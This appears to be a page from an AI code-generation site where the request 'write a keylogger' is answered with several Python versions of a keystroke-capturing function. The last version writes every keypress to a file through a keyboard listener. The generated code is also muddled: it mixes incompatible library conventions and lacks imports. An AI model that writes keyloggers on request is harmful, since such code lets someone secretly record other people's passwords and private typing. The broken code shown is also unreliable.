Generation

generate functionSat, 12 Nov 2022

write a keylogger

def keylogger(event): # event is an object print(event) # print all the attributes and methods of an event object def keylogger(event): print(event.Ascii, chr(event.Ascii)) # print the ascii value and the correspoding letter def keylogger(event): print(event.Ascii, chr(event.Ascii), event.Key) # print the ascii value and the correspoding letter def keylogger(event): logging.basicConfig(filename='keylogger.txt', level=logging.DEBUG, format='%(message)s') logging.log(10, chr(event.Ascii)) with Listener(on_press=keylogger) as listener: listener.join()

Questions about programming?Chat with your personal AI assistant